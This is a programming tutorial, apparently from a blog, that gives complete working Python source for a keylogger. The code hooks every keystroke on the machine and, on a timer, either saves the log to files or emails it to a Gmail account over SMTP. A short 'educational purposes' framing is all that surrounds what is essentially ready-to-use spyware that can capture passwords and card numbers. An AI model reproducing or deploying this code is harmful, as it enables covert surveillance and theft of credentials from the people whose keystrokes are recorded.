How to Make a Keylogger in Python Creating and implementing a keylogger from scratch that records key strokes from keyboard and send them to email or save them as log files using Python and keyboard library.

A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard. In this tutorial, you will learn how to write a keylogger in Python.

First, we gonna need to install a module called keyboard, go to the terminal or the command prompt and write:

pip3 install keyboard

You are maybe wondering, why a keylogger is useful ? Well, when a hacker (or a script kiddie) uses this for unethical purposes, he/she will register everything you type in the keyboard including your credentials (credit card numbers, passwords, etc...)

The goal of this tutorial is to make you aware of these kind of scripts as well as learning how to implement such malicious scripts on your own for educational purposes, let's get started!

import keyboard # for keylogs

import smtplib # for sending email using SMTP protocol (gmail)

# Timer is to make a method runs after an `interval` amount of time

from threading import Timer

from datetime import datetime

SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on

EMAIL_ADDRESS = "put_real_address_here@gmail.com"

EMAIL_PASSWORD = "put_real_pw"

class Keylogger:

    def __init__(self, interval, report_method="email"):

        # we gonna pass SEND_REPORT_EVERY to interval

        self.interval = interval

        self.report_method = report_method

        # this is the string variable that contains the log of all 

        # the keystrokes within `self.interval`

        self.log = ""

        # record start & end datetimes

        self.start_dt = datetime.now()

        self.end_dt = datetime.now()

    def callback(self, event):

        """

        This callback is invoked whenever a keyboard event is occured

        (i.e when a key is released in this example)

        """

        name = event.name

        if len(name) > 1:

            # not a character, special key (e.g ctrl, alt, etc.)

            # uppercase with []

            if name == "space":

                # " " instead of "space"

                name = " "

            elif name == "enter":

                # add a new line whenever an ENTER is pressed

                name = "[ENTER]\n"

            elif name == "decimal":

                name = "."

            else:

                # replace spaces with underscores

                name = name.replace(" ", "_")

                name = f"[{name.upper()}]"

        # finally, add the key name to our global `self.log` variable

        self.log += name

    

    def update_filename(self):

        # construct the filename to be identified by start & end datetimes

        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")

        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")

        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):

        """This method creates a log file in the current directory that contains

        the current keylogs in the `self.log` variable"""

        # open the file in write mode (create it)

        with open(f"{self.filename}.txt", "w") as f:

            # write the keylogs to the file

            print(self.log, file=f)

        print(f"[+] Saved {self.filename}.txt")

    def sendmail(self, email, password, message):

        # manages a connection to an SMTP server

        server = smtplib.SMTP(host="smtp.gmail.com", port=587)

        # connect to the SMTP server as TLS mode ( for security )

        server.starttls()

        # login to the email account

        server.login(email, password)

        # send the actual message

        server.sendmail(email, email, message)

        # terminates the session

        server.quit()

    def report(self):

        """

        This function gets called every `self.interval`

        It basically sends keylogs and resets `self.log` variable

        """

        if self.log:

            # if there is something in log, report it

            self.end_dt = datetime.now()

            # update `self.filename`

            self.update_filename()

            if self.report_method == "email":

                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)

            elif self.report_method == "file":

                self.report_to_file()

            # if you want to print in the console, uncomment below line

            # print(f"[{self.filename}] - {self.log}")

            self.start_dt = datetime.now()

        self.log = ""

        timer = Timer(interval=self.interval, function=self.report)

        # set the thread as daemon (dies when main thread die)

        timer.daemon = True

        # start the timer

        timer.start()

    def start(self):

        # record the start datetime

        self.start_dt = datetime.now()

        # start the keylogger

        keyboard.on_release(callback=self.callback)

        # start reporting the keylogs

        self.report()

        # block the current thread, wait until CTRL+C is pressed

        keyboard.wait()

    

if __name__ == "__main__":

    # if you want a keylogger to send to your email

    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")

    # if you want a keylogger to record keylogs to a local file 

    # (and then send it using your favorite method)

    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")

    keylogger.start()